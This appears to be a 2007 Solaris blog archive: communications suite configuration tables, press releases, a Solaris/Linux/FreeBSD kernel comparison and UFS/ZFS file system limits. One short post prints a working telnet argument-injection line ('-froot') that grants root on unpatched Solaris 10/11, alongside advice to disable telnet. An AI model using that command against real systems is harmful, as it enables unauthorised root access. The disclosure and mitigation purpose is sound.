Service Port	[80]	3080
Maximum Sessions	[5000]	accept default
Maximum Threads	[20]	accept default
Number of server processes	[1]	accept default
Runtime User ID	[icsuser]	accept default
Runtime Group ID	[icsgroup]	accept default
Start Calendar Server after Successful Configuration	[Unchecked]	accept default
Start Calendar Serve on System Startup	[Checked]	Unchecked
Configuration Directory	[/etc/opt/SUNWics5/config]	accept default
Database Directory	[/var/opt/SUNWics5/csdb]	accept default
Attachment Store Directory	[/var/opt/SUNWics5/astore]	accept default
Logs Directory	[/var/opt/SUNWics5/logs]	accept default
Temporary Files Directory	[/var/opt/SUNWics5/tmp]	accept default
Enable Archive	[Checked]	accept default
Archive Directory	[/var/opt/SUNWics5/csdb/archive]	accept default
Enable Hot Backup	[Checked]	accept default
Hot Backup Directory	[/var/opt/SUNWics5/csdb/hotbackup]	accept default
Keep archives for (in days)	[Minimum: 3, Maximum: 6]	accept default
Keep hot backups for (in days)	[Minimum: 3, Maximum: 6]	accept default
Same as archive checkbox	[Checked]	accept default

Table 11 Values for config-uwc Script
Option	[Default Value]	Enter:
Hostname	[am]	accept default
DNS Domain	[abc.beta.com]	accept default
Web Container	[Web Server]	accept default
Web Server Root Directory	[/opt/SUNWwbsvr7]	accept default
Web Server Config Root Directory	[/var/opt/SUNWwbsvr7]	accept default
Web Server Instance Identifier	[am.abc.beta.com]	accept default
Virtual Server Identifier	[am.abc.beta.com]	accept default
HTTP Port	[80]	accept default
Administration Server Port	[8800]	accept default
Administrator User ID	[admin]	accept default
Administrator Password	--	adminpass
Secure Administration Server Instance	[Unchecked]	accept default
Web Container User ID	[webservd]	accept default
Web Container Group IP	[webservd]	accept default
URI Path	[/uwc]	/mail
Enable Hosted Domain Support	[Unchecked]	Checked (Yes)
URL of Directory Server	[ldap://wireless.comms.beta.com:389/]	ldap://ds.abc.beta.com:389/
Bind DN	[cn=Directory Manager]	accept default
Password	--	adminpass
DC Tree suffix	[o=beta.com]	accept default
Default Domain	[abc.beta.com]	accept default
Enable Access Manager for Single Sign-On	[Unchecked]	accept default (not enabled)
Webmail Server Host Name	[wireless.comms.beta.com]	mail.abc.beta.com
Webmail Server Port Number	--	80
Enable login in secure mode	[Unchecked]	accept default (not secure)
Webmail Server SSL Port Number	--	Leave blank
Webmail Admin User ID	--	admin
Admin Password	--	adminpass
Calendar Server Hostname	[wireless.comms.beta.com]	mail.abc.beta.com
Calendar Server Port	[9004]	3080
Calendar Admin User ID	[calmaster]	accept default
Calendar Administrator User Password	--	adminpass
URL of PAB Directory Server	[ldap://ds.abc.beta.com:389]	accept default
Bind As	[cn=Directory Manager]	accept default
Password	--	adminpass


Note	Creating groups using the Delegated Administrator command-line interface will guarantee that these groups will be recognized by Access Manager as LDAP groups that can be searched on using Instant Messenger. They can also be used to send email to the entire group.

Table 12 Commands to Stop Communications Services
Service	Command
Instant Messaging	/opt/SUNWiim/sbin/imadmin stop
Access Manager	/etc/init.d/amserver stop
Web Server	/var/opt/SUNWwbsvr7/https-wireless.comms.beta.com/bin/stopserv
Web Server Administrator	/var/opt/SUNWwbsvr7/admin-server/stopserv
Calendar Server	/opt/SUNWics5/cal/sbin/stop-cal
Messaging Server	/opt/SUNWmsgsr/sbin/stop-msg
Directory Server	/opt/SUNWdsee/ds6/bin/dsadm stop /var/opt/SUNWdsee/dsins1

Table 13 Commands to Start Communications Services
Service	Command
Directory Server	/opt/SUNWdsee/ds6/bin/dsadm start /var/opt/SUNWdsee/dsins1
Messaging Server	/opt/SUNWmsgsr/sbin/start-msg
Calendar Server	/opt/SUNWics5/cal/sbin/start-cal
Web Server Administrator	/var/opt/SUNWwbsvr7/admin-server/startserv
Web Server	/var/opt/SUNWwbsvr7/https-wireless.comms.beta.com/bin/startserv
Access Manager	/etc/init.d/amserver start
Instant Messaging	/opt/SUNWiim/sbin/imadmin start

Deployment Example: Sun Java Communications Suite 5 on a Single Host

2007-05-11T20:04:00.000+08:00

This deployment example contains the following sections:
* Deployment Example Revision History
* Summary of Changes
* About This Deployment Example
* Installing the Example
* Configuring Components
* Starting and Stopping Communications Services
* Known Issues and Limitations
* Accessing Sun Resources Online

Deployment Example: Sun Java Communications Suite 5 on a Single Host

Sun to Develop New Communications Application Server Through Open Source GlassFish Community

2007-05-10T23:46:00.000+08:00

Sun to Develop New Communications Application Server Through Open Source GlassFish Community

Collaboration With Ericsson Addresses the Need for an Open Source, Java Technology-Based Development Platform That Supports the Portability of Applications and Services Across Numerous Devices and Networks

SAN FRANCISCO, JAVAONE(SM) CONFERENCE, May 8 /PRNewswire-FirstCall/ — Sun Microsystems, Inc., (NASDAQ:SUNW) today announced a multi-faceted collaboration agreement with Ericsson to jointly develop an open source, Java(TM) technology-based communications application server as part of the GlassFish(TM) community. This open source contribution means Java software developers, Independent Software Vendors (ISV), System Integrators and individuals will have access to telecommunications technologies and resources to help accelerate the development of multimedia, VOIP, IM and next generation applications.

As part of this announcement, Ericsson will contribute its standards-based Session Initiation Protocol (SIP) Servlet 1.0 compatible application server, to the GlassFish community under the OSI-approved Common Development and Distribution License (CDDL) and dual licensed under the GNU General Public License version two (GPLv2). Ericsson will also take module ownership for the JSR 289 compatible SIP servlet container under Project SailFin a subproject of the GlassFish open source project. The source code for this initial contribution will be available for download as part of Project SailFin at: http://sailfin.dev.java.net/. Sun and Ericsson also announced a supporting program to provide developers and ISVs with additional resources, technical information, access to network-enabled testing and demo environments, as well as tools and expertise from both companies.

“The collaborative efforts of Sun and Ericsson represent a significant step in the convergence of enterprise IT and telecommunications development and the promise of Next Generation Networks (NGNs) based on IP Multimedia Subsystems (IMS),” said Karen Tegan Padir, vice president, Enterprise Java Platforms at Sun. “Using the communications application server, developers and ISVs will be able to build voice-over-IP (VOIP), instant messaging and multimedia into their Java Platform Enterprise Edition applications that can then be delivered to any connected consumer device including mobile phones, PCs and set-top boxes.”

Claes Odman, head of Multimedia Solutions at Ericsson’s Multimedia Business Unit, says: “Through this collaboration, Ericsson takes a very active role to enable all involved industry players and consumers to reap the benefits from IMS, such as scalability, quality of service and a strong user experience, building on open source. By giving developer communities the tools necessary to build applications that seamlessly fit in an IMS environment we stimulate the creation of a wider variety of new applications that support the emerging communication culture with every day life experiences anywhere, anytime and on any device.”

Sun Java System Communications Application Server

Upon finalization of the JSR 289 specification by the Java Community Process (JCP) later this year, Sun intends to bring a Sun supported product to market. The Sun Java System Communications Application Server will be based on the collaborative development between Sun and Ericsson as part of the GlassFish community and the SailFin open source project. Ericsson will license the forthcoming Sun product, along with the standard Sun Java System Application Server, to embed in solutions built by Ericsson. Ericsson also plans to standardize development of applications and services on the Sun Java System Communications Application Server

Following the first release of Sun Java System Communications Application Server, Sun and Ericsson will continue to collaborate around enhancing the platform and SIP Servlet implementation. As part of this collaboration, Sun will also create a module for the NetBeans(TM) Integrated Development Environment to support the Sun Java System Communications Application Server

Sun and Ericsson to Create Developer Community Initiatives

In order to support the convergence between the IT and telecommunications industries, Sun and Ericsson will join forces to offer third party developers access to converged services delivery platforms through their respective developer programs, such as the Sun(SM) Developer Network (SDN) program, Sun(SM) Partner Advantage and Ericsson Mobility World Developer Program. By building on existing programs and relationships with developers on each side, the two companies aim to attract, educate and offer the tools, infrastructure and network testing environments for developers and ISVs. Because Ericsson and Sun are also committed to providing these supporting technical programs and testing capabilities, developers will be able to more easily prepare and verify applications for use in the new environment.

To learn more about Ericsson Mobility World please visit: http://www.ericsson.com/mobilityworld

To learn more about Sun Developer Network, please visit: http//developers.sun.com

About the JavaOne Conference

Located at Moscone Center in San Francisco, May 8-11, the annual JavaOne conference is one of the leading events for Java technology developers. Established in 1996, the Conference provides technology enthusiasts the opportunity to learn about the latest technology innovations with Java technology, scripting, open source, Web 2.0 and more. Developers get hands-on experience with the technology, can network with their peers, and have the opportunity to network directly with technology experts from technology industry leaders. For more information about the JavaOne conference, visit http://java.sun.com/javaone.

About Sun Microsystems, Inc.

A singular vision — “The Network Is The Computer”(TM) — guides Sun in the development of technologies that power the world’s most important markets. Sun’s philosophy of sharing innovation and building communities is at the forefront of the next wave of computing: the Participation Age. Sun can be found in more than 100 countries and on the Web at sun.com.

NOTE: Sun, Sun Microsystems, the Sun logo, Java, JavaOne, NetBeans, GlassFish and The Network Is The Computer are trademarks or registered trademarks of Sun Microsystems, Inc. in the United States and other countries.

Contact: Jacki DeCoster of Sun Microsystems, +1-415-294-4482, or jacki.decoster@sun.com.

Source: Sun Microsystems, Inc.

CONTACT: Jacki DeCoster of Sun Microsystems, +1-415-294-4482, or
jacki.decoster@sun.com

A Comparison of Solaris, Linux, and FreeBSD Kernels

2007-04-27T10:26:00.001+08:00

by Max Bruning

I spend most of my time teaching classes on Solaris internals, device drivers, and kernel crash dump analysis and debugging. When explaining to classes how various subsystems are implemented in Solaris, students often ask, "How does it work in Linux?" or, "In FreeBSD, it works like this, how about Solaris?" This article examines three of the basic subsystems of the kernel and compares implementation between Solaris 10, Linux 2.6, and FreeBSD 5.3.

The three subsystems examined are scheduling, memory management, and file system architecture. I chose these subsystems because they are common to any operating system (not just Unix and Unix-like systems), and they tend to be the most well-understood components of the operating system.

This article does not go into in-depth details on any of the subsystems described. For that, refer to the source code, various websites, and books on the subject. For specific books, see:

Solaris Internals: Core Kernel Architecture by McDougall and Mauro (visit Solaris Internals)
The Design and Implementation of the FreeBSD Operating System by McKusick and Neville-Neil (visit The Design and Implementation of the FreeBSD Operating System)
Linux Kernel Development by Love (visit Linux Kernel Development, 2nd Edition) and Understanding the Linux Kernel by Bovet and Cesati (visit Understanding the Linux Kernel, 2nd Edition)

If you search the Web for Linux, FreeBSD, and Solaris comparisons, most of the hits discuss old (in some cases, Solaris 2.5, Linux 2.2, etc.) versions of the OSes. Many of the "facts" are incorrect for the newest releases, and some were incorrect for the releases they intended to describe. Of course, most of them also make value judgments on the merits of the OSes in question, and there is little information comparing the kernels themselves. The following sites seem more or less up to date:

"Solaris Vs. Linux" is pretty one-sided for Solaris 10 over Linux.
"Comparing MySQL Performance" on Solaris 10, Linux, FreeBSD, and others.
"Fast Track to Solaris 10 Adoption" has some comparisons between Linux and Solaris.
"Solaris 10 Heads for Linux Territory" is not really a comparison, but reviews Solaris 10.

One of the more interesting aspects of the three OSes is the amount of similarities between them. Once you get past the different naming conventions, each OS takes fairly similar paths toward implementing the different concepts. Each OS supports time-shared scheduling of threads, demand paging with a not-recently-used page replacement algorithm, and a virtual file system layer to allow the implementation of different file system architectures. Ideas that originate in one OS often find their way into others. For instance, Linux also uses the concepts behind Solaris's slab memory allocator. Much of the terminology seen in the FreeBSD source is also present in Solaris. With Sun's move to open source Solaris, I expect to see much more cross-fertilization of features. Currently, the LXR project provides a source cross-reference browser for FreeBSD, Linux, and other Unix-related OSes, available at fxr.watson.org. It would be great to see OpenSolaris source added to that site.

Scheduling and Schedulers

The basic unit of scheduling in Solaris is the kthread_t; in FreeBSD, the thread; and in Linux, the task_struct. Solaris represents each process as a proc_t, and each thread within the process has a kthread_t. Linux represents processes (and threads) by task_struct structures. A single-threaded process in Linux has a single task_struct. A single-threaded process in Solaris has a proc_t, a single kthread_t, and a klwp_t. The klwp_t provides a save area for threads switching between user and kernel modes. A single-threaded process in FreeBSD has a proc struct, a thread struct, and a ksegrp struct. The ksegrp is a "kernel scheduling entity group." Effectively, all three OSes schedule threads, where a thread is a kthread_t in Solaris, a thread structure in FreeBSD, and a task_struct in Linux.

Scheduling decisions are based on priority. In Linux and FreeBSD, the lower the priority value, the better. This is an inversion; a value closer to 0 represents a higher priority. In Solaris, the higher the value, the higher the priority. Table 1 shows the priority values of the different OSes.

*Table 1. Scheduling Priorities in Solaris, Linux, and FreeBSD*
	Priorities	Scheduling Class
Solaris
	0-59	Time Shared, Interactive, Fixed, Fair Share Scheduler
	60-99	System Class
	100-159	Real-Time (note real-time higher than system threads)
	160-169	Low level Interrupts
Linux	Priorities	Scheduling Class
	0-99	System Threads, Real time (`SCHED_FIFO`, `SCHED_RR`)
	100-139	User priorities (`SCHED_NORMAL`)
FreeBSD	Priorities	Scheduling Class
	0-63	Interrupt
	64-127	Top-half Kernel
	128-159	Real-time user (system threads are better priority)
	160-223	Time-share user
	224-255	Idle user

All three OSes favor interactive threads/processes. Interactive threads run at better priority than compute-bound threads, but tend to run for shorter time slices. Solaris, FreeBSD, and Linux all use a per-CPU "runqueue." FreeBSD and Linux use an "active" queue and an "expired" queue. Threads are scheduled in priority from the active queue. A thread moves from the active queue to the expired queue when it uses up its time slice (and possibly at other times to avoid starvation). When the active queue is empty, the kernel swaps the active and expired queues. FreeBSD has a third queue for "idle" threads. Threads run on this queue only when the other two queues are empty. Solaris uses a "dispatch queue" per CPU. If a thread uses up its time slice, the kernel gives it a new priority and returns it to the dispatch queue. The "runqueues" for all three OSes have separate linked lists of runnable threads for different priorities. (Though FreeBSD uses one list per four priorities, both Solaris and Linux use a separate list for each priority.)

Linux and FreeBSD use an arithmetic calculation based on run time versus sleep time of a thread (as a measure of "interactive-ness") to arrive at a priority for the thread. Solaris performs a table lookup. None of the three OSes support "gang scheduling." Rather than schedule n threads, each OS schedules, in effect, the next thread to run. All three OSes have mechanisms to take advantage of caching (warm affinity) and load balancing. For hyperthreaded CPUs, FreeBSD has a mechanism to help keep threads on the same CPU node (though possibly a different hyperthread). Solaris has a similar mechanism, but it is under control of the user and application, and is not restricted to hyperthreads (called "processor sets" in Solaris and "processor groups" in FreeBSD).

One of the big differences between Solaris and the other two OSes is the capability to support multiple "scheduling classes" on the system at the same time. All three OSes support Posix SCHED_FIFO, SCHED_RR, and SCHED_OTHER (or SCHED_NORMAL). SCHED_FIFO and SCHED_RR typically result in "realtime" threads. (Note that Solaris and Linux support kernel preemption in support of realtime threads.) Solaris has support for a "fixed priority" class, a "system class" for system threads (such as page-out threads), an "interactive" class used for threads running in a windowing environment under control of the X server, and the Fair Share Scheduler in support of resource management. See priocntl(1) for information about using the classes, as well as an overview of the features of each class. See FSS(7) for an overview specific to the Fair Share Scheduler. The scheduler on FreeBSD is chosen at compile time, and on Linux the scheduler depends on the version of Linux.

The ability to add new scheduling classes to the system comes with a price. Everywhere in the kernel that a scheduling decision can be made (except for the actual act of choosing the thread to run) involves an indirect function call into scheduling class-specific code. For instance, when a thread is going to sleep, it calls scheduling-class-dependent code that does whatever is necessary for sleeping in the class. On Linux and FreeBSD, the scheduling code simply does the needed action. There is no need for an indirect call. The extra layer means there is slightly more overhead for scheduling on Solaris (but more features).

Memory Management and Paging

In Solaris, every process has an "address space" made up of logical section divisions called "segments." The segments of a process address space are viewable via pmap(1). Solaris divides the memory management code and data structures into platform-independent and platform-specific parts. The platform-specific portions of memory management is in the HAT, or hardware address translation, layer. FreeBSD describes its process address space by a vmspace, divided into logical sections called regions. Hardware-dependent portions are in the "pmap" (physical map) module and "vmap" routines handle hardware-independent portions and data structures. Linux uses a memory descriptor to divides the process address space into logical sections called "memory areas" to describe process address space. Linux also has a pmap

command to examine process address space.

Linux divides machine-dependent layers from machine-independent layers at a much higher level in the software. On Solaris and FreeBSD, much of the code dealing with, for instance, page fault handling is machine-independent. On Linux, the code to handle page faults is pretty much machine-dependent from the beginning of the fault handling. A consequence of this is that Linux can handle much of the paging code more quickly because there is less data abstraction (layering) in the code. However, the cost is that a change in the underlying hardware or model requires more changes to the code. Solaris and FreeBSD isolate such changes to the HAT and pmap layers respectively.

Segments, regions, and memory areas are delimited by:

Virtual address of the start of the area.
Their location within an object/file that the segment/region/memory area maps.
Permissions.
Size of the mapping.

For instance, the text of a program is in a segment/region/memory area. The mechanisms in the three OSes to manage address spaces are very similar, but the names of data structures are completely different. Again, more of the Linux code is machine-dependent than is true of the other two OSes.

Paging

All three operating systems use a variation of a least recently used algorithm for page stealing/replacement. All three have a daemon process/thread to do page replacement. On FreeBSD, the vm_pageout daemon wakes up periodically and when free memory becomes low. When available memory goes below some thresholds, vm_pageout runs a routine (vm_pageout_scan) to scan memory to try to free some pages. The vm_pageout_scan routine may need to write modified pages asynchronously to disk before freeing them. There is one of these daemons regardless of number of CPUs. Solaris also has a pageout daemon that also runs periodically and in response to low-free-memory situations. Paging thresholds in Solaris are automatically calibrated at system startup so that the daemon does not overuse the CPU or flood the disk with page-out requests. The FreeBSD daemon uses values that, for the most part, are hard-coded or tunable in order to determine paging thresholds. Linux also uses an LRU algorithm that is dynamically tuned while it runs. On Linux, there can be multiple kswapd

daemons, as many as one per CPU. All three OSes use a global working set policy (as opposed to per process working set).

FreeBSD has several page lists for keeping track of recently used pages. These track "active," "inactive," "cached," and "free" pages. Pages move between these linked lists depending on their uses. Frequently accessed pages will tend to stay on the active list. Data pages of a process that exits can be immediately placed on the free list. FreeBSD may swap entire processes out if vm_pageout_scan cannot keep up with load (for example, if the system is low on memory). If the memory shortage is severe enough, vm_pageout_scan will kill the largest process on the system.

Linux also uses different linked lists of pages to facilitate an LRU-style algorithm. Linux divides physical memory into (possibly multiple sets of) three "zones:" one for DMA pages, one for normal pages, and one for dynamically allocated memory. These zones seem to be very much an implementation detail caused by x86 architectural constraints. Pages move between "hot," "cold," and "free" lists. Movement between the lists is very similar to the mechanism on FreeBSD. Frequently accessed pages will be on the "hot" list. Free pages will be on the "cold" or "free" list.

Solaris uses a free list, hashed list, and vnode page list to maintain its variation of an LRU replacement algorithm. Instead of scanning the vnode or hash page lists (more or less the equivalent of the "active"/"hot" lists in the FreeBSD/Linux implementations), Solaris scans all pages uses a "two-handed clock" algorithm as described in Solaris Internals and elsewhere. The two hands stay a fixed distance apart. The front hand ages the page by clearing reference bit(s) for the page. If no process has referenced the page since the front hand visited the page, the back hand will free the page (first asynchronously writing the page to disk if it is modified).

All three operating systems take NUMA locality into account during paging. The I/O buffer cache and the virtual memory page cache is merged into one system page cache on all three OSes. The system page cache is used for reads/writes of files as well as mmapped files and text and data of applications.

File Systems

All three operating systems use a data abstraction layer to hide file system implementation details from applications. In all three OSes, you use open, close, read, write, stat, etc. system calls to access files, regardless of the underlying implementation and organization of file data. Solaris and FreeBSD call this mechanism VFS ("virtual file system") and the principle data structure is the vnode, or "virtual node." Every file being accessed in Solaris or FreeBSD has a vnode assigned to it. In addition to generic file information, the vnode contains pointers to file-system-specific information. Linux also uses a similar mechanism, also called VFS (for "virtual file switch"). In Linux, the file-system-independent data structure is an inode. This structure is similar to the vnode on Solaris/FreeBSD. (Note that there is an inode structure in Solaris/FreeBSD, but this is file-system-dependent data for UFS file systems). Linux has two different structures, one for file operations and the other for inode operations. Solaris and FreeBSD combine these as "vnode operations."

VFS allows the implementation of many file system types on the system. This means that there is no reason that one of these operating systems could not access the file systems of the other OSes. Of course, this requires the relevant file system routines and data structures to be ported to the VFS of the OS in question. All three OSes allow the stacking of file systems. Table 2 lists file system types implemented in each OS, but it does not show all file system types.

*Table 2. Partial List of File System Types*
Solaris	ufs	Default local file system (based on BSD Fast Filesystem)
	nfs	Remote Files
	proc	/proc files; see `proc(4)`
	namefs	Name file system; allows opening of doors/streams as files
	ctfs	Contract file system used with Service Management Facility
	tmpfs	Uses anonymous space (memory/swap) for temporary files
	swapfs	Keeps track of anonymous space (data, heap, stack, etc.)
	objfs	Keeps track of kernel modules, see `objfs(7FS)`
	devfs	Keeps track of /devices files; see `devfs(7FS)`
FreeBSD	ufs	Default local file system (ufs2, based on BSD Fast Filesystem)
	defvs	Keeps track of /dev files
	ext2	Linux ext2 file system (GNU-based)
	nfs	Remote files
	ntfs	Windows NT file system
	smbfs	Samba file system
	portalfs	Mount a process onto a directory
	kernfs	Files containing various system information
Linux	ext3	Journaling, extent-based file system from ext2
	ext2	Extent-based file system
	afs	AFS client support for remote file sharing
	nfs	Remote files
	coda	Another networked file system
	procfs	Processes, processors, buses, platform specifics
	reiserfs	Journaling file system

Conclusions

Solaris, FreeBSD, and Linux are obviously benefiting from each other. With Solaris going open source, I expect this to continue at a faster rate. My impression is that change is most rapid in Linux. The benefits of this are that new technology has a quick incorporation into the system. Unfortunately, the documentation (and possibly some robustness) sometimes lags behind. Linux has many developers, and sometimes it shows. FreeBSD has been around (in some sense) the longest of the three systems. Solaris has its basis in a combination of BSD Unix and AT&T Bell Labs Unix. Solaris uses more data abstraction layering, and generally could support additional features quite easily because of this. However, most of the layering in the kernel is undocumented. Probably, source code access will change this.

A brief example to highlight differences is page fault handling. In Solaris, when a page fault occurs, the code starts in a platform-specific trap handler, then calls a generic as_fault() routine. This routine determines the segment where the fault occurred and calls a "segment driver" to handle the fault. The segment driver calls into file system code. The file system code calls into the device driver to bring in the page. When the page-in is complete, the segment driver calls the HAT layer to update page table entries (or their equivalent). On Linux, when a page fault occurs, the kernel calls the code to handle the fault. You are immediately into platform-specific code. This means the fault handling code can be quicker in Linux, but the Linux code may not be as easily extensible or ported.

Kernel visibility and debugging tools are critical to get a correct understanding of system behavior. Yes, you can read the source code, but I maintain that you can easily misread the code. Having tools available to test your hypothesis about how the code works is invaluable. In this respect, I see Solaris with kmdb, mdb, and DTrace as a clear winner. I have been "reverse engineering" Solaris for years. I find that I can usually answer a question by using the tools faster than I can answer the same question by reading source code. With Linux, I don't have as much choice for this. FreeBSD allows use of gdb on kernel crash dumps. gdb can set breakpoints, single step, and examine and modify data and code. On Linux, this is also possible once you download and install the tools.

Max Bruning currently teaches and consults on Solaris internals, device drivers, kernel (as well as application) crash analysis and debugging, networking internals, and specialized topics. Contact him at max at bruningsystems dot com or http://mbruning.blogspot.com/.

Limitations of File System for Solaris OE

2007-04-17T10:57:00.000+08:00

Description

This document will describe the limitations of the filesystem for the Solaris [TM] Operating Environment.

The effect of OpenBoot[TM] PROM (OBP) revisions on filesystem size limitations is also discussed.

Definitions:

1 Mbyte (megabyte) 2^20 bytes (1,048,576 bytes)
1 Gbyte (gigabyte) 2^30 bytes (1,073,741,824 bytes)
1 Tbyte (terabyte) 2^40 bytes (1,099,511,627,776 bytes)

In general if this document refers to a limitation of (for instance) 2 Gbyte, ¨2 Gbyte  1 byte〃 (1,073,741,823 bytes) is meant.

To improve readability, this has been abbreviated to ¨2 Gbyte〃.

The symbol ¨~〃 is used to denote ¨approximately〃

Maximum size of a single file and a filesystem.

This also applies to Solaris x86, but there may be some issues with disk drives larger than 30 Gbyte. This is due to hardware limitations with some PC motherboard/disk configurations.

*OS Release*	*Single file*	*File system*
Solaris 2.5.1	2 Gbyte	1 Tbyte
Solaris 2.6 - 9 12/02 (U3)	~1012 Gbyte	1 Tbyte
Solaris 9 08/03 (U4) - Solaris 10 FCS	~1023 Gbyte	16 Tbyte

A single file in Solaris 2.6 through Solaris 9 (U3) is limited to approximately 1012 Gbyte because the file must fit inside the 1 Tbyte filesystem. The filesystem is nominally 1 Tbyte, but in fact, due to the overhead in such a large filesystem, the largest single file ends up being about 1012 Gbyte. (part of this is a bug, but even if bug-free, a single file can't be 1 Tbyte due to the filesystem overhead). The overhead in the filesystem includes amongst other things, items such as superblock backups and inode tables. The example given here is using 1024 Kbyte (1 Mbyte) for the number of bytes per inode (nbpi) within the UFS filesystem. If nbpi is set to a lower value, more filesystem space will be allocated to inode tables and less will be available to store data. With nbpi=8 Kbyte, the maximum single file size would be smaller than 1012 Gbyte. The file in this example cannot use any of the minfree area set up on the filesystem (which is setup for ¨root only〃 use). On a 1 Tbyte filesystem minfree is set to 1% which translates to about 10 Gbyte.
A safe assumption here would be that the limit on the size of a single file is the size of the filesystem,minus 1% to 2% overhead. In Solaris 2.6, the swap and tmpfs filesystems are still limited to 2 Gbyte. This is not the total amount of swap, it is a limit per swap slice or per swap file. A swap slice or file may be defined as larger than 2 Gbyte, but any space above 2 Gbyte in that slice or file will not be accessible and the size of the slice or file will be reported by the swap command as 2 Gbyte. There can be multiple swap slices or files totaling more than 2 Gbyte. Any later release of Solaris running 32 bit kernel has the same limitation. Later releases of Solaris running a 64 bit kernel do not have this limitation. See the ¨USAGE〃 paragraph in the Solaris 8 swap(1M) manual page for the new limits.
Solaris 9 Update 4 introduced multiterabyte UFS. The maximum individual file size is still the same as before (~1 Tbyte ), as increasing it would require radical on-disk format changes. The total filesystem size can now be up to 16 Tbyte. The -T option is specified to the newfs command to create such a filesystem. See the newfs(1M) manpage for additional information. There is also a limit of 1 million files per Tbyte, for instance. A 4 Tbyte UFS filesystem would have a 4 million files limit). This is done to keep fsck times reasonable (even when logging is enabled).
Multiterabyte UFS functionality can also be added to earlier releases of Solaris 9 by installing the UFS patch 113454-09 or later. See the Special Install Instructions in the patch README for a list of additional patches required to get the full Multiterabyte functionality.
The maximum single file size in a multiterabyte filesystem, which is greater than 1 Tbyte is 1 Tbyte minus 500 Mbyte or 1023.5 Gbyte As a rule of thumb this should be taken as 1023 Gbyte.
A multiterabyte UFS filesystem is not bootable (This means the root filesystem cannot be a multiterabyte filesystem).
A multiterabyte UFS filesystem is not mountable in any version of 32bit Solaris kernel.

Limitations in combination with the OBP.

Excluding the multiterabyte root filesystem limitation detailed above, the root filesystem has limits in Solaris[TM] 2.x that are not imposed on any other filesystems. This limiting factor is a combination of two things, the OS release and the OBP (Open Boot Prom) level.

To establish the OS release, examine the /etc/release file To establish the OBP level, use the command prtconf -V (capital ¨V〃).

Here is a list of the various possible configurations.

*OBP level*	*OS Release*	*Max root filesystem size*
OBP 3.1beta1 or newer	Solaris 2.5.1 Kernel Patch 103640-08 or newer	No limit
OBP 3.1beta1 or newer	Solaris 2.6	No limit
OBP 3.0 or earlier	Solaris 2.5.1 Kernel Patch 103640-07 or older.	2Gbyte
OBP 3.0 or earlier	Solaris 2.6 on an Ultra (sun4u)	4Gbyte

Solaris 10 and ZFS

ZFS is now fully integrated in Solaris 10 U2 and above.

Limitations of a single file and filesystem in ZFS:

http://www.opensolaris.org/os/community/zfs/faq/

What limits does ZFS have?

- The limitations of ZFS are designed to be so large that they will never be encountered in any practical operation.

- ZFS can store 16 Exabytes in each storage pool, file system, file, or file attribute.

- ZFS can store billions of names: files or directories in a directory, file systems in a file system, or snapshots of a file system.

- ZFS can store trillions of items: files in a file system, file systems, volumes, or snapshots in a pool.

Migrating UFS to ZFS on the fly: Mission impossible or Mission will be completed

2007-04-10T02:04:00.000+08:00

Although ZFS has already been proved so powerful and flexible, few of our customers have the plan to migrate their UFSes to ZFS.

One reason for this is most of them believe that ZFS works well in labs, but they won't believe it can perform well in their production system. After all, ZFS is such a new thing comparing with other mature filesystems including UFS. This can be changed by time. I believe they will change their minds as many expedient data that will be provided by the users who are working with ZFS.

The other important reason is probably that they won't take the risks of long down time while copy data of several TB without the intelligent backup tools such as VERITAS NetBackup and automatic filesystem replicate tools.

If Sun microsystem won't provide some tools of migrating UFS to ZFS on the fly, ZFS may would be mission impossible for the users having data of several TBs, even hundreds of GBs. What a pity!

Technorati

2007-04-09T13:43:00.000+08:00

Technorati Profile

Sun Sets New World Records With Enhanced UltraSPARC IV+ Servers Running Solaris

2007-04-06T09:26:00.000+08:00

Sun Boosts Performance On UltraSPARC Servers, Show Sun's UltraSPARC Leadership
SANTA CLARA, Calif. April 3, 2007 Sun Microsystems, Inc. (NASDAQ: SUNW) today announced the availability of faster 1.95GHz and 2.1GHz UltraSPARC(R) IV+ processors for its popular Sun Fire servers. New Sun Fire servers with UltraSPARC IV+ 1.95GHz and 2.1GHz processors offer world record performance, easy application portability and industry leading investment protection. The new servers are powered by the Solaris Operating System (OS), which delivers customers unbroken binary compatibility, thus ensuring that existing applications will run on the new UltraSPARC IV+ processors without the need to re-code or re-compile.

According to industry analyst reports, Sun has gained market share for four consecutive quarters. SPARC-based systems represent a significant portion of that growth and the new 1.95GHz and 2.1 GHz UltraSPARC IV+ processors demonstrate Sun's ongoing commitment to improving the performance of the SPARC architecture and the protection of customer investment.

"SPARC, with Solaris, is the engine that drives our server business, and we're committed to continual improvements on our SPARC-based products," said John Fowler, executive vice president, Systems Group, Sun Microsystems. "The growing demand for UltraSPARC IV+ servers has helped Sun build tremendous market momentum in our systems line-up, and steal significant market share at the expense of our competitors."

Sun Sets New World Records

The Sun Fire E2900 with UltraSPARC IV+ 1.95 GHz (US-IV+1.95GHz) set a new world-record for a single application server, with a Sun Fire T2000 as the database server, on SPECjAppServer2004 achieving >1781 JOPS - the highest 2-node result performance record to date. The Sun Fire (US-IV+1.95GHz) uses six Solaris containers which - through consolidation - improves datacenter efficiency and promotes higher levels of system utilization.1

The Sun Fire E6900 (24 processors, 48 cores, 48 threads) with UltraSPARC IV+ 1.95GHz set a new world-record for the SAP-SD 2-Tier Standard Application benchmark for systems with 24 or fewer processors as of 04/02/07, achieving 6160 users.2

Sun Fire UltraSPARC IV+ servers now own over 75 world-record benchmarks.

The Sun Fire V490, V890, E2900, E4900, E6900, E20K and E25K servers, powered by new 1.95GHz and 2.1GHz UltraSPARC IV+ processors have up to 2x the life of comparable IBM servers and up to 1/3 better TCO.

When compared to previous generations, the new UltraSPARC IV+ processor has shown 2X performance over the UltraSPARC IV and 5X performance over the UltraSPARC III.

Sun Fire UltraSPARC platforms are designed to help customers with CRM, business intelligence/data warehousing, and enterprise applications using large databases. The systems are ideal for virtualization environments using a combination of fault isolated hard partitions and flexible Solaris Containers. Solaris 10 Containers can consolidate and virtualize hundreds of applications on a single system so customers save in energy, space and complexity. Solaris Container management is superior to HP and IBM partitioning strategies as it requires less overhead, while providing resource flexibility down to a single processor.

0-Day in Solaris 10 and 11

2007-04-05T18:39:00.000+08:00

telnet -l "-froot" ip_addr
will get you root on most solaris 10/11 with default configs.

So disable youe telnet service when system installed will be advised.
#svcadm disable telnet

Sun Introduced Netra X4200 M2 server

2007-04-05T18:11:00.000+08:00

By Chip Brookshaw

March 27, 2007 - Telecommunications customers need a unique combination of stability and horsepower--the IT equivalent of a tank that accelerates like a sports car. Sun has met those requirements for more than a decade with the industry's broadest line of carrier grade servers and blades.

